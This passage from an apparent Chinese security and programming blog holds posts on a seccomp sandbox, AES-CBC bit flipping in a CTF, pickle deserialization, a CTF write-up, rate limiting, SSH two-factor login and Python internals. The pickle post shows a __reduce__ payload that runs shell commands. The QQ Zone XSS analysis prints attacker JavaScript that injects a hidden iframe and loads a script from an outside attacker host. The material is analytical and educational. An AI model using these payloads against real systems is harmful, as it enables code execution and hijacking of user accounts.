37 char *__unbounded *__unbounded,
38 ElfW(auxv_t) *,
39 __typeof (main),
40 void (*fini) (void),
41 void (*rtld_fini) (void),
42 void *__unbounded stack_end);
43
44 // Get __libc_start_main entry point
45 libc = dlopen("libc.so.6", RTLD_LOCAL | RTLD_LAZY);
46 if (!libc) {
47 exit(1);
48 }
49
50 libc_start_main = dlsym(libc, "__libc_start_main");
51 if (!libc_start_main) {
52 exit(2);
53 }
54 
55 ctx = seccomp_init(SCMP_ACT_KILL);
56 if (!ctx) {
57 exit(3);
58 }
59 for(i = 0; i < whitelist_length; i++) {
60 if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 
61 syscalls_whitelist[i], 0)) {
62 exit(4);
63 }
64 }
65 if (seccomp_load(ctx)) {
66 exit(5);
67 }
68 seccomp_release(ctx);
69 return ((*libc_start_main)(main, argc, ubp_av, auxvec,
70 init, fini, rtld_fini, stack_end));
71}

参考 http://stackoverflow.com/a/27735456/2737403 和 https://github.com/daveho/EasySandbox

AES CBC字节翻转攻击的利用

Sat, 09 Jan 2016 22:03:00 +0000

今天看到这样一道题

 1<!-- please login as uid=1!--> 
 2<?php 
 3include("AES.php"); 
 4highlight_file('index.php'); 
 5$v = "1234567890abcdef1234567890abcdef1234567890abcdef1234567890auid=9;123123123123"; 
 6$b = array(); 
 7$enc = @encrypt($v); 
 8$b = isset($_COOKIE[user])?@decrypt(base64_decode($_COOKIE[user])):$enc; 
 9$uid = substr($b,strpos($b,"uid")+4,1); 
10echo 'uid:'.$uid.'<br/>'; 
11if ($uid == 1){ 
12 echo $flag; 
13} 
14else { 
15 echo "Hello Client!"; 
16} 
17setcookie("user",base64_encode($enc)); 
18?> 
19uid:9
20Hello Client!

大致的做法就是控制$b里面包含uid=1，但是因为加密密钥不知道，所以并不能控制，后来发现这个是利用了 CBC 密文分组的一个问题。

CBC 模式的全称是密文分组链接模式（Cipher Block Chainning)。在CBC模式中，首先将明文分组与前一个密文分组进行 xor 运算，然后再进行加密，当加密第一个明文分组时，由于不存在“前一个密文分组”，因此需要事先准备一个长度为一个分组的比特序列来代替“前一个密文分组”，这个比特序列称为初始化向量（Initialization vector)，通常缩写为 IV,如果每次都使用相同的初始化向量（IV），当用同一密钥对同一明文进行加密时，所得到的密码一定是相同的，所以每次加密时都会随机产生一个不同的比特序列来作为初始化向量，避免这种情况产生。

见示意图

这样的话，解密的时候是本组的明文与上一组的密文进行反 xor 操作就可以了，如果我们控制了上一组的密文，那就可以控制本组的明文了。

首先将明文分组

11234567890abcdef
21234567890abcdef
31234567890abcdef
41234567890auid=9
5;123123123123

根据之前的算法原理，以第4组为例，设 A = 第四组解密后的值、B = 第三组的密文，则 C = A xor B -> "1234567890auid=9"

这样的话，就可以反推得到 A = B xor C，很容易就写出反向的公式

Good bye, 2015; Hello, 2016

Fri, 01 Jan 2016 00:00:00 +0000

本来写了一些的，但是又不想外发了，就贴一张图吧

使用夏普 GP2Y1010AU0F + Arduino 自制空气灰尘传感器

Mon, 28 Dec 2015 11:28:00 +0000

最近看到小伙伴的文章，正好自己手中有一块 Arduino 在积灰，觉得难度应该不大，就淘宝上买了几个零件自己组装了一下。

需要的材料有

Arduino，通用的几种型号都可以
夏普 GP2Y1010AU0F 灰尘传感器，价格大约30块钱左右
面包板，方便连线
一大把杜邦线

传感器的说明书在这里

传感器中心有个洞可以让空气自由流过，其内部对角安放着红外线发光二极管和光电晶体管，定向发射LED光，通过检测经过空气中灰尘折射过后的光线来判断灰尘的含量，网上资料说可以测量 0.8μm 以上的灰尘，但是我并没有在说明书上找到。

要注意的是这个传感器测量的是每立方空气中颗粒物的重量，基础单位是 $mg/m^3$，不是通常意义上的 PM2.5 或者 AQI。输出电压和灰尘浓度的换算关系见说明书的最后面。

安装电路图是

传感器有六根线输入，颜色分别是蓝、绿、白、黄、黑、红，分别编号为 1-6，也对应上图里面的 1-6 的。

里面不太清楚的是3和6，他们需要和 Arduino 相连，连接方式是

Sharp pin 3 (LED) => Arduino PIN 2 （开关LED）
Sharp pin 5 (Vo) => Arduino A0 pin （空气质量数据通过电压模拟信号输出）

不要忘记了里面 150欧的电阻和 220uf 的电容，有的电容是有正负极的，一般画了一条白线的引脚是负极，最好不要接反了。

小伙伴还画了一张实际的走线图，原图在这里

我一开始按照这个走线的，但是输出一直不对，后来发现了问题，就是

图片来源

图上的红色和蓝色中间会断开，两部分是不通的，直接用两根杜邦线连上就好了，不再拆了，不过就是显的线很乱。

电脑端读取的 Arduino 程序是

 1int measurePin = 0; //Connect dust sensor to Arduino A0 pin
 2int ledPower = 2; //Connect 3 led driver pins of dust sensor to Arduino D2
 3 
 4int samplingTime = 280;
 5int deltaTime = 40;
 6int sleepTime = 9680;
 7 
 8float voMeasured = 0;
 9float calcVoltage = 0;
10float dustDensity = 0;
11 
12void setup(){
13 Serial.begin(9600);
14 pinMode(ledPower,OUTPUT);
15}
16 
17void loop(){
18 digitalWrite(ledPower,LOW); // power on the LED
19 delayMicroseconds(samplingTime);
20 
21 voMeasured = analogRead(measurePin); // read the dust value
22 
23 delayMicroseconds(deltaTime);
24 digitalWrite(ledPower,HIGH); // turn the LED off
25 delayMicroseconds(sleepTime);
26 
27 // 0 - 5V mapped to 0 - 1023 integer values
28 // recover voltage 
29 calcVoltage = voMeasured * (5.0 / 1024.0);
30 
31 // linear eqaution taken from http://www.howmuchsnow.com/arduino/airquality/
32 // Chris Nafis (c) 2012
33 dustDensity = 0.17 * calcVoltage - 0.1;
34 
35 Serial.print("Raw Signal Value (0-1023): ");
36 Serial.print(voMeasured);
37 
38 Serial.print(" - Voltage: ");
39 Serial.print(calcVoltage);
40 
41 Serial.print(" - Dust Density: ");
42 // 换算成 ug/m^3
43 Serial.print(dustDensity * 1000);
44 Serial.println(" ug/m3 ");
45 delay(1000);
46}

我的实拍

短信平台被黑引发的诈骗短信

Sat, 26 Dec 2015 13:20:00 +0000

大半夜的收到这样一条短信，是以学校平时发送短信的端口发送的，而且青大的用校园网手机号的几乎都收到了

不用说，这肯定不是伪基站，而是学校群发短信的平台被入侵了。

短信上的那个链接是非常典型的钓鱼网站，而且只能用手机或者电脑改 ua 看。

可以注意到最后一张图，会提示你下载一个 apk，我就简单的逆向了一下，看和之前遇到的手段是否一样。

解压缩，拿到 classes.dex，dex2jar 处理，再解压缩就拿到所有的 classes，果然非常弱智，一点保护和混淆都没有。

反序列化带来的安全问题

Tue, 10 Nov 2015 20:28:00 +0000

这几天出了一个 Java 的反序列化漏洞，影响非常广泛，亲测 jboss和 jinkens 受到影响，但是国内貌似关注的并不是很多，今天总结一下反序列化带来的问题。

Python

Python 会出问题的反序列化的方法就是pickle，下面是简单的用法

1import cPickle 
2
3data = "test"
4# 序列化 
5packed = cPickle.dumps(data)
6# 反序列化 
7data = cPickle.loads(packed)

其中 data 可以保存在文件中或者发送到另外的机器上去执行的。参考 https://blog.nelhage.com/2011/03/exploiting-pickle/

在反序列化的时候，__reduce__是声明反序列化的方法的，返回值类型有一种是元组，包含两个元素，回调函数和回调函数参数元组。这样我们就可以将恶意代码放入__reduce__里面或者是回调函数里面。

 1import os
 2import cPickle
 3
 4# Exploit that we want the target to unpickle
 5class Exploit(object):
 6 def __reduce__(self):
 7 os.system("pwd")
 8 return (os.system, ('ls',))
 9
10shellcode = cPickle.dumps(Exploit())

利用场景

Django 框架在使用 cookie based session 的时候，会把 session 的内容 pickle 之后使用 secret_key 加密签名然后通过设置 cookie 的方法存在浏览器里面，在 secret_key 不泄露的情况下是不存在问题的，因为你即使修改了数据为恶意代码仍然是无法解密的，而一旦 secret_key 泄露，用户可以重新加密签名然后提交到服务器，这样就造成了安全问题。详情见http://rickgray.me/2015/09/12/django-command-execution-analysis.html
在部分无法执行命令的场景下，我们可以修改变量，更改执行流程等。

 1import os
 2import cPickle
 3a = 1
 4# Exploit that we want the target to unpickle
 5class Exploit(object):
 6 def __reduce__(self):
 7 global a
 8 a = 10
 9 os.system("pwd")
10 return (os.system, ('ls',))
11
12shellcode = cPickle.dumps(Exploit())
13cPickle.loads(shellcode)
14print a

最后输出的 a 已经是10了，web 环境下可以尝试进行 sql 注入。

第四届山东省大学生网络安全技能大赛 write up

Sun, 01 Nov 2015 19:22:00 +0000

先吐槽一下，比赛题目质量一般，技巧题太多，各种原题和网上能搜到的。开始的选择题也是，概念混淆题目，简直不像是专业比赛。

第二部分就是解密逆向题目，共30道，部分题目下载 http://pan.baidu.com/s/1eQudFyi 密码 wphu

里面只有 zip 才是，其余的文件是我解压后的或者分析的结果。

没写的题就是不会或者没有把文件留下来。所有的 exe 逆向都没做，主要用 Mac，没工具。

先简单的写的，还在补充。

第四题，看文本中中的字符串，前几位是 png 的文件头格式，然后复制所有的字符到16进制编辑器保存为 png 格式，然后得到一个二维码，扫描结果是号外！号外！山东省大学生信息安全知识大赛开始了！！！！ AAB aaaaa aaa ABB baaa aaa ABBB bbaaa aaa BB bbbbb。按照摩尔斯电码处理，A是- B 是.，字母的大小写表示 key 的大小写。

第五题，apk 逆向，解压得到 class.dex，使用 dex2jar 命令逆向得到 jar 包，解压后得到一堆 Java classes 文件，我是使用的 Idea 反编译，命令行也有工具，下面是部分代码

 1private void operatecontext() {
 2 this.abc = this.exit.getText().toString();
 3 if(this.checkansaw(this.abc) == 1) {
 4 this.msg.setText("恭喜你！答对了！");
 5 } else {
 6 this.msg.setText("很遗憾！答错了");
 7 }
 8 }
 9
10 private String productanswer() {
11 return "" + 'T' + 'h' + 'e' + 'a' + 'n' + 's' + 'w' + 'e' + 'r' + 'i' + 's' + 'n' + 'o' + 't' + 'h' + 'e' + 'r' + 'e';
12 }

但是明显不是 flag，后来发现res/raw/good boy，是一个纯文本的，内容是#KEY{SV9sMHZlX2NURg}，好吧。

流量控制算法

Sun, 25 Oct 2015 19:24:00 +0000

很多场景下都需要流量控制，从底层的数据包传输到购物秒杀。

常见的流量控制算法有两种，一个是漏桶算法，桶本身具有一个恒定的速率往下流水，而上方一直有水进入桶中。当桶还未满时，上方的水可以加入。一旦水满，上方的水就溢出，可以认为请求被丢弃。

这个算法不难理解，可以保证系统的稳定，因为水流出的速度一直是不变的，即使在有突发流量的情况下。但是如果到了网站秒杀的情境下，有突发流量，这个算法就不好用了。更常用的是令牌通算法。

令牌桶还是可以认为是一个盛满了令牌的箱子，每处理一个请求就会拿走一个令牌，如果令牌没有了，请求就会失败。而根据速率限制，令牌还是一直在添加的，所以还是有一部分的请求是可以慢慢的拿到令牌的。而一开始箱子里面是有一些令牌的，一开始的突发流量都可以成功的拿到令牌。

根据 https://github.com/celery/kombu/blob/master/kombu/utils/limits.py ，我简单改写了一下，可以很直观的看出来流量控制结果。

 1# coding=utf-8
 2import time
 3
 4
 5class TokenBucket(object):
 6 def __init__(self, fill_rate, capacity):
 7 self.capacity = float(capacity)
 8 self._left_tokens = capacity
 9 self.fill_rate = float(fill_rate)
10 self.timestamp = time.time()
11
12 def consume(self, tokens=1):
13 """Return :const:`True` if the number of tokens can be consumed
14 from the bucket. If they can be consumed, a call will also consume the
15 requested number of tokens from the bucket. Calls will only consume
16 `tokens` (the number requested) or zero tokens -- it will never consume
17 a partial number of tokens."""
18 if tokens <= self.tokens:
19 self._left_tokens -= tokens
20 return True
21 return False
22
23 def expected_time(self, tokens=1):
24 """Return the time (in seconds) when a new token is expected
25 to be available. This will not consume any tokens from the bucket."""
26 _tokens = self.tokens
27 tokens = max(tokens, _tokens)
28 return (tokens - _tokens) / self.fill_rate
29
30 @property
31 def tokens(self):
32 if self._left_tokens < self.capacity:
33 now = time.time()
34 delta = self.fill_rate * (now - self.timestamp)
35 self._left_tokens = min(self.capacity, self._left_tokens + delta)
36 self.timestamp = now
37 return self._left_tokens
38
39
40true = false = 0
41
42# 每秒往桶里面添加5个令牌，桶的大小是50
43bucket = TokenBucket(fill_rate=5, capacity=50)
44for i in range(300):
45 time.sleep(0.1)
46 if bucket.consume():
47 true += 1
48 print "Accepted", i
49 else:
50 false += 1
51 print "Dropped, time left ", bucket.expected_time()
52print true, false

要注意的是，我上面的demo代码是存在存在并发竞态条件问题的，但是出于性能和简化写法的考虑，这个是可以接受的，毕竟流量限制一般也不需要太精确。

单元测试的粒度

Thu, 15 Oct 2015 13:37:00 +0000

最近在写 qduoj 的测试，但是写起来实在是不容易，因为很多测试可以写的很细也可以写的很粗。比如说测试用户注册功能，认真的写的话可能要考虑以下测试用例

错误的数据格式，比如非 json 数据，比如缺少字段等
验证码错误的提示
数据格式问题，比如用户名密码长度、邮箱格式等
用户名或邮箱已经存在的提示
注册成功的提示
提示注册成功，数据库里面是否真的有这个用户
登录成功后返回的个人信息里面的内容是否正确

如果真的这样去写就太耗时耗力了，毕竟这个产品还是能容忍发生一些问题的，而不是像航空航天一样，真的不能发生一点问题。

其实关于单元测试的粒度的问题，早就有人在讨论了。 http://coolshell.cn/articles/8209.html

我的观点是区分优先级和重要程度就行。

首先要明确你要测试什么模块，这个模块应该是相对独立的，可以单独测试的。比如这个地方是用户注册模块。
然后是这个功能中有哪些功能，这个地方功能就一个，用户提交数据注册。
然后这个功能中有哪些点是重要的，需要写测试保证的，出了问题会产生相对严重的后果的。有哪些点是一般的，不容易出错的，即使出错也没什么问题的。剩下的就可以认为是不会出错的，可以不进行测试。
优先对第一个点进行测试，剩下的两个可以看时间来完成。

这样的话，肯定不是 TDD 了，而且100%的测试覆盖率也不可能达到，当然大家也都知道100%的测试覆盖率也是自欺欺人的。

按照这样的原则，上面的用户注册的测试用例就分成这样三部分了，

必须要测试的

验证码错误的提示
数据格式问题，比如用户名密码长度、邮箱格式等
用户名或邮箱已经存在的提示

有空就写的

提示注册成功，数据库里面是否真的有这个用户

无所谓的

注册成功的提示
登录成功后返回的个人信息里面的内容是否正确
错误的数据格式，比如非 json 数据，比如缺少字段等

使用类来写 Python 的 decorator

Tue, 13 Oct 2015 18:07:00 +0000

平时看到的 Python 的 decorator 都是使用函数来写的，比如说我之前在写的 login_required

 1def login_required(func):
 2 @wraps(func)
 3 def check(*args, **kwargs):
 4 # 在class based views 里面，args 有两个元素，一个是self, 第二个才是request，
 5 # 在function based views 里面，args 只有request 一个参数
 6 request = args[0]
 7 if request.user.is_authenticated():
 8 return func(*args, **kwargs)
 9 if request.is_ajax():
10 return error_response(u"请先登录")
11 else:
12 return HttpResponseRedirect("/login/")
13 return check
14
15@login_required
16def view(request):
17 pass

这样的话，在调用 view 函数的时候就相当于 login_required(view) 了。

其实我们使用类也能完成这样的任务，调用函数就相当于 DecoratorClass(func)()了，后面的括号和调用函数的意思差不多，是在__call__方法中定义的，所以我们就可以这样写

 1class login_required(object):
 2 def __init__(self, func):
 3 self.func = func
 4
 5 def __call__(self, *args, **kwargs):
 6 print args, kwargs
 7 return self.func(*args, **kwargs)
 8
 9@login_required
10def index(*args, **kwargs):
11 print "index page"
12
13index(1, 2, 3, a=4, b=5)

输出就是

为 ssh 增加两步验证

Sun, 11 Oct 2015 15:36:00 +0000

最近不小心把服务器 ssh 密码给开源了，觉得应该使用一个更安全的方法登录 ssh。其实使用 ssh key 是一种方法，但是在别人的电脑上就不行了，后来想到两步验证。

其实我在很多地方都使用了两步验证，比如 qq、微博之类的，包括本博客的后台。而两步验证的 app 一般使用 Google Authenticator，但是因为是通用算法，我一般使用国内的洋葱，更方便一些。

这个过程折腾了我很久，因为我登录的时候总是不提示输入动态密码，后来发现使用 apt-get 安装的就可以，而我是编译的源代码。很奇怪。

在开始之前，务必注意先多开几个窗口，然后 ssh 登录进去，防止发生意外，无法再登录了。

步骤很简单

1sudo apt-get install libpam-google-authenticator

然后

1vim /etc/pam.d/sshd

把auth required pam_google_authenticator.so加到文件开头。

1vim /etc/ssh/sshd_config

把ChallengeResponseAuthentication no改成ChallengeResponseAuthentication yes。

运行google-authenticator，可以都选择y，其中第一步完成后会有一个 url 和一堆数字代码，打开那个 url，使用洋葱扫描添加网站就好了。

最后别忘了service ssh restart

效果图

winnowing 算法

Fri, 02 Oct 2015 17:35:00 +0000

最近尝试将 winnowing 算法应用于抄袭检测中，这是一种字符串指纹算法，详细的内容见下面这篇论文。

Winnowing Local Algorithms for Document Fingerprinting.pdf

k-grams 是最常见的指纹算法了，它将一个大字符串分为很多小字符串，而每个小字符串仅仅差一个字符，是一种错位的排列。比如 adorunrunrunadorunrun，进行 5-grams 之后就是

1adoru dorun orunr runru 
2unrun nrunr runru unrun 
3nruna runad unado nador 
4adoru dorun orunr runru 
5unrun

k 就是每个小字符串的长度。

然后对这个小字符串组计算 hash，并抽样得到大字符串的特征值。抽样的算法有很多，不同的算法可能会影响最后的精确度，比如 hash 结果都是数字，就取出 hash % p = 0的，但是缺点就是特征中可能遗漏大段的内容，造成结果不准确。其余的算法也是有自己的缺点，比如取最小值。

winnowing 就是要结果对 hash 取样的时候遇到的问题，它将 hash 类似 k-grams 一样进行分组，比如 hash 值是

177 72 42 17 98 50 17 98 8 88 67 39 77 72 42 17 98

假设我们希望任意t个字符之内（不包含t）的重复都能被查出来，那么我们就设置一个窗口 w = t - k + 1。举个例子，比如在上面 5-grams 的例子中我们希望 t = 8 ，那么我们就设置 w = 8 - 5 + 1 = 4，于是，得到了以下14个hash值的窗口：

现在到2015年底的计划

Wed, 30 Sep 2015 20:24:00 +0000

考研报名，但是实际上我不想考研了。我本来就是一个不喜欢为了考试而学习的孩子。打算这段时间，认真学习一下线性代数、概率论、操作系统、数据结构和算法，还有英语。这些都是以后工作和生活必须的，尤其是数学，我发现我的数据太差了，打算做数据分析、机器学习之类的都需要很好的数学基础。没有功利性的去学习可能会学的更好。
线性代数和概率论一定结合实际的项目和国外的公开课来看，国内的课本水平还是差一些。操作系统也是多关注源代码，而不仅仅是课本上的理论。数据结构和常见的算法要完整熟练的在非 IDE 中写出来。
英语注意词汇量和口语
继续维护 qduoj，看能不能再找个人。完善一些小组的功能，写反作弊系统，有机会使用 web 组件重写一下后台。
leetcode 尽量多写点，培养使用 sublime text 之类的编辑器而不是 IDE 写代码的能力。
深入了解 Python，深入源码和虚拟机

青大 oj 开源发布了

Mon, 21 Sep 2015 14:20:00 +0000

链接: https://qduoj.com

github: https://github.com/QingdaoU/OnlineJudge

三个小伙伴忙碌了一个多月，qduoj 终于是完成了第一个可以基本稳定运行的版本了，大功能没什么问题，但是需要迭代重构的还是不少。

我们常用的 oj 是杭电的，但是有些不是很满意的地方。

首先是界面，国内的前辈 oj 除了 pat 、 codevs 等大多数都很丑很丑， 10 多年前的风格，可能因为 oj 就是 10 年前写的吧。

同时，我们的定位不仅仅是 ACM 训练，还有学校平时教学的作业考试等也可以在上面进行。老师作为普通管理员可以创建小组，相当于一个班级，内部举办比赛，创建修改题目，外人不可见，超级管理员才可以管理公开的题目和比赛。

后端涉及到的技术有 Python 、 Django 、 Docker 、 MySQL 、 Redis 、 Celery 等，后台的前端是一个 SPA 页面，使用 avalon js 。

Typecho 反垃圾评论原理和 Python 模拟

Tue, 28 Jul 2015 08:57:00 +0000

最近在看 Typecho 的时候，在页面中发现了这样一段奇怪的代码

 1var _FKbCJ = //'l'
 2'l'+//'h'
 3'df'+'f'//'pga'
 4+'6a4'//'ZR'
 5+'ff0'//'fwM'
 6+'b21'//'exn'
 7+'fe'//'vl'
 8+//'K'
 9'1'+''///*'7d1'*/'7d1'
10+'4a'//'XI'
11+//'erP'
12'dbe'+//'9'
13'f'+'ab'//'3U'
14+'6'//'e'
15+''///*'hjW'*/'hjW'
16+//'Jb'
17'f'+//'0UM'
18'5'+//'MNp'
19'MNp'+''///*'Zd'*/'Zd'
20+//'gt'
21'gt'+'uOV'//'uOV'
22+//'1uK'
23'76'+'8f9'//'K'
24+''///*'o'*/'o'
25+//'5'
26'5'+/* 'db1'//'db1' */''+'e'//'CN'
27, _cYDj = [[0,1],[26,29],[26,28],[26,29],[31,32]];
28 
29 for (var i = 0; i < _cYDj.length; i ++) {
30 _FKbCJ = _FKbCJ.substring(0, _cYDj[i][0]) + _FKbCJ.substring(_cYDj[i][1]);
31 }
32
33 return _FKbCJ;

猜测和反垃圾评论有关，因为机器人直接评论的话，一般都是直接 post 评论数据，如果在评论之前需要先运行一段 js，然后带上这段 js 生成的值再 post 的话，就能挡住一大批低级的机器人了。现在很多地方用到了这个，比如一些云 WAF，在可疑请求的时候也是返回一段 js 要运行的，更高级点的可以检测浏览器环境，鼠标手势等等。相对于验证码，对真实用户更友好一些。

看 Typecho 的源码也确实是这样的。

我用 Python 写了一个，主要是通过各种注释和换行来混淆 js，虽然不运行 js，直接进行字符串分析肯定也能得到结果，但是相比直接 post 数据，难度大大增大了，而且我们可以随时更换混淆规则，我们的目的也就达到了。

Python内部机制(1) - 垃圾回收

Sat, 25 Jul 2015 23:31:00 +0000

首先介绍下主流的垃圾回收机制，原文在 http://www.zhihu.com/question/20018826/answer/28892543

引用计数（reference counting）：

基本思路是为每个对象加一个计数器，记录指向这个对象的引用数量。每次有一个新的引用指向这个对象，计数器加一；反之每次有一个指向这个对象引用被置空或者指向其他对象，计数器减一。当计数器变为 0 的时候，自动删除这个对象。

引用计数的优点是 1）相对简单，不需要太多运行时（run-time）的支持，可以在原生不支持 GC 的语言里实现。2）对象会在成为垃圾的瞬间被释放，不会给正常程序的执行带来额外中断。它的死穴是循环引用，对象 A 包含一个引用指向对象 B ，同时对象 B 包含一个引用指向对象 A，计数器就抓瞎了。另外，引用计数对正常程序的执行性能有影响（每次引用赋值都要改计数器），特别是在多线程环境下（改计数器要加锁同步）。

标记-清扫（mark-sweep）。

基本思路是先按需分配，等到没有空闲内存的时候从寄存器和程序栈上的引用出发，遍历以对象为节点、以引用为边构成的图，把所有可以访问到的对象打上标记，然后清扫一遍内存空间，把所有没标记的对象释放。

标记-清扫没有无法处理循环引用的问题，不触发 GC 时也不影响正常程序的执行性能。但它的问题是当内存耗尽触发 GC 时，需要中断正常程序一段时间来清扫内存，在内存大对象多的时候这个中断可能很长。

节点复制（copying）。

基本思路是把整个内存空间一分为二，不妨记为 A 和 B。所有对象的内存在 A 中分配，当 A 塞满的时候，同样从寄存器和程序栈上的引用出发，遍历以对象为节点、以引用为边构成的图，把所有可以访问到的对象复制到 B 去，然后对调 A 和 B 的角色。

相对于标记-清扫，节点复制的主要缺点是总有一半空间空闲着无法利用，另一个比较隐晦的缺点是它使用内存的方式与现有的内存换页、Cache 换入换出机制有潜在的冲突。但它有个很大的优点：所有的对象在内存中永远都是紧密排列的，所以分配内存的任务变得极为简单，只要移动一个指针即可。对于内存分配频繁的环境来说，性能优势相当大。另外，由于不需要清扫整个内存空间，所以如果内存中存活对象很少而垃圾对象很多的话（有些语言有这个倾向），触发 GC 造成的中断会小于标记-清扫。

Python 主要是通过引用计数来进行垃圾回收，这里我写了一个简单的 c 程序来模拟一下

 1#include <stdio.h>
 2#include <stdlib.h>
 3
 4#define PyDateType int
 5#define INT 1
 6#define FLOAT 2
 7
 8
 9//ref_count 引用计数器
10//data_type 是数据类型，这是只是模拟，真正不是这样实现的
11#define PyObject_HEAD \
12 int ref_count; \
13 PyDateType data_type;
14
15
16//int 类型的
17typedef struct {
18 PyObject_HEAD
19 int value;
20} PyIntObject;
21
22
23//float 类型的
24typedef struct {
25 PyObject_HEAD
26 float value;
27} PyFloatObject;
28
29
30int main() {
31 PyIntObject *py_int_10;
32 py_int_10 = (PyIntObject *) malloc(sizeof(PyIntObject));
33 py_int_10->data_type = INT;
34 py_int_10->ref_count = 0;
35 py_int_10->value = 10;
36
37 PyIntObject *py_int_20;
38 py_int_20 = (PyIntObject *) malloc(sizeof(PyIntObject));
39 py_int_20->data_type = INT;
40 py_int_20->ref_count = 0;
41 py_int_20->value = 20;
42
43 //a 指向10
44 PyIntObject *a, *b;
45 a = py_int_10;
46 //增加引用计数
47 py_int_10->ref_count++;
48
49 //b 指向20
50 b = py_int_20;
51 py_int_20->ref_count++;
52
53 //把 a 指向20
54 a = py_int_20;
55 //减少10的引用计数 增加20的引用计数
56 py_int_10->ref_count--;
57 //释放掉10的内存空间
58 if(py_int_10 -> ref_count == 0){
59 free(py_int_10);
60 }
61 py_int_20->ref_count++;
62
63 printf("a: %d, b: %d\n", a->value, b->value);
64 printf("ref count: %d", py_int_20->ref_count);
65 return 0;
66}

好奇心

Fri, 24 Jul 2015 22:49:00 +0000

这几天主要有两个天文上的大事，一个是新视野号在孤独的奔跑了9年之后，终于在北京时间7月15日08:52近距离的拍摄了冥王星的高清晰度照片。

从几十年前拍摄的马赛克样子的照片，到现在高清晰度照片，科学的进步是难以想象的，人类的好奇心是第一动力吧。

第二个是NASA宣布发现了新的外行星Kepler-452b，为地球直径的1.6倍，位于距地球1400光年的天鹅座。Kepler 452b上的一年大约385天，其围绕运行的是一颗与太阳相似的恒星，使得Kepler 452b成为到目前为止最接近“另一个地球”的系外行星。地球可能有了新的小伙伴。

在初中的时候，中国发射第一颗探月卫星，那时候就很激动，收集了很多资料，而且在当时要求每周要交的周记里面写了不少相关的东西，语文老师就写了几句鼓励的话，不过具体的内容记不起来了。差不多46年前的今天，1969年的7月20号，今天人类第一次登月成功，阿姆斯特朗的一小步，标志着人类探月迈出的一大步。

小的时候对很多东西都感兴趣都有好奇心，主要还是天文、电子和飞行。电力电子是那时候读了很多各种电子元件、电路图的书，而且自己确实组装过很多开关仪表，小到电池电阻，大到高压的继电器接触器等等，但是由于技术含量是在太高，而自学确实没有基础，后来也逐渐的不想玩了。飞行的话，从自己在铁管中灌装火药导致爆炸，铁管炸的一点痕迹都没有了，到后来买模型飞机，自己制造过飞机(当然没成功)，组装各种电机，自己做螺旋桨大大的锻炼的动手能力。也是因为对知识的要求太高了，就是做不出来。

多希望能一直保持那一份好奇心，对新知识能如饥似渴的学习啊~

qq空间某被利用的xss分析

Mon, 13 Jul 2015 10:11:00 +0000

今天听说有些人在点击了几个花千骨的广告视频后，自己的qq空间里面就被莫名其妙的分享了一些广告，还自动添加了好友。

怀疑是qq空间的xss或者csrf。在对那几个视频页面进行分析后没有发现什么可疑的代码，后来在模拟了qq手机版的ua，清除了cookies，然后更换了ip后终于复现了这个问题。

这个域名是不是很可疑？我开始怀疑是腾讯的合作伙伴的js被篡改了，但是点看这个php，它的内容是

 1document.getElementById("footad").src="http://yyyy.qq.com/cgi-bin/privateblog/privateblog_output_data?uin="+rndNum(9)+"&blogid=12"+rndNum(8)+"&imgdm=xxxx.com%2fimgcache.qq.com&bdm=b.qzone.qq.com&vid="+window.vid;
 2function rndNum(len){
 3 if(len && len>0 && len<100){}else{len=32;}
 4 var strs="123456789";
 5 var maxPos=strs.length;
 6 var rdstr="";
 7 for(i=0;i<len;i++){
 8	rdstr+=strs.charAt(Math.floor(Math.random() * maxPos));
 9 }
10return rdstr;
11}
12
13if(cookieRead){
14 var dor=cookieRead("adplay");
15 if(dor && dor>0){
16	//;
17 }else{
18	cookie_set("adplay",99);
19 }
20}

对http://yyyy.qq.com/cgi-bin/privateblog/privateblog_output_data?uin=842362834&blogid=1268155622&imgdm=xxxx.com%2fimgcache.qq.com&bdm=b.qzone.qq.com&vid=19发起一个请求，当然里面有几个参数的随机生成的。

打开这个url，查看源代码，漏洞就是很明显的了。

base标签里面抹掉的那个域名和url里面的抹掉的那个域名是一样的，典型的xss漏洞。因为base标签是可以改变下面的相对路径的，比如html在qq.com域下，而base里面是baidu.com，那么下面的<script src="1.js"></script>就会访问baidu.com/1.js，而不是qq.com/1.js，导致xss漏洞。而我发现这个地方腾讯其实是有过滤的，因为url里面直接使用xxx.com是不可以的，必须是xxx.com/cache.qq.com才行，但是这样的过滤并没有什么卵用。

这个embeded.js的内容是

 1try{document.domain="qq.com";}catch(e){}
 2function cookieRead(a,b,c,g){if(void 0==b){a+="=";b=document.cookie.split(";");c=0;for(g=b.length;c<g;c++){for(var i=b[c];" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(a))return decodeURIComponent(i.substring(a.length,i.length))}return ""}}
 3
 4function cookie_set(key,value){
 5	var Then=new Date(); 
 6	Then.setTime(Then.getTime()+7*24*60*60*1000); 
 7	document.cookie=key+"="+value+"; path=/;expires="+Then.toGMTString();
 8}
 9
10function getQueryString(name) { 
11	var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i"); 
12	var r = window.location.search.substr(1).match(reg); 
13	if (r != null) return unescape(r[2]); return ""; 
14} 
15
16var dor=cookieRead("qsdone");
17if(dor && dor>0){
18	//document.location="about:blank";
19}else{
20	cookie_set("qsdone",99);
21	window.onload=iframe_add;
22}
23
24
25
26function iframe_add(){tjskey();
27	var eframe;
28	try{
29		var isie=window.navigator.appName.toUpperCase().indexOf("MICROSOFT")>=0;
30		eframe = document.createElement(isie? "<iframe name='xframe'>":"iframe");
31	}catch(e){}
32	try{
33		if(!eframe){eframe = document.createElement("iframe");} 
34		eframe.id = "xframe";
35		eframe.name = "xframe";
36		eframe.width="0px";
37		eframe.height="0px";
38		eframe.scrolling="no";
39		eframe.setAttribute("frameborder", "0", 0);
40		eframe.src="http://b.qzone.qq.com/proxy.html?r=0.1436745170";
41		if(eframe.attachEvent){
42			eframe.attachEvent("onload",iframe_addjs);
43		} else {
44			eframe.onload=iframe_addjs;
45		}
46		document.body.appendChild(eframe);
47	}catch(e){}
48}
49
50
51function iframe_addjs(){ 
52	var xdoc;
53	if(!xdoc){try{xdoc=document.frames["xframe"].contentWindow.document;}catch(e){}}
54	if(!xdoc){try{xdoc=document.frames["xframe"].document;}catch(e){}}
55	if(!xdoc){try{xdoc=document.getElementById("xframe").contentWindow.document;}catch(e){}}
56	if(xdoc){
57		var xjs=xdoc.createElement("script");
58		xjs.src="http://imgcoche.qq.xxxx.com/qq/getmore.php?r="+Math.random()+"&type=img.jpg";
59		xjs.type="text/javascript";
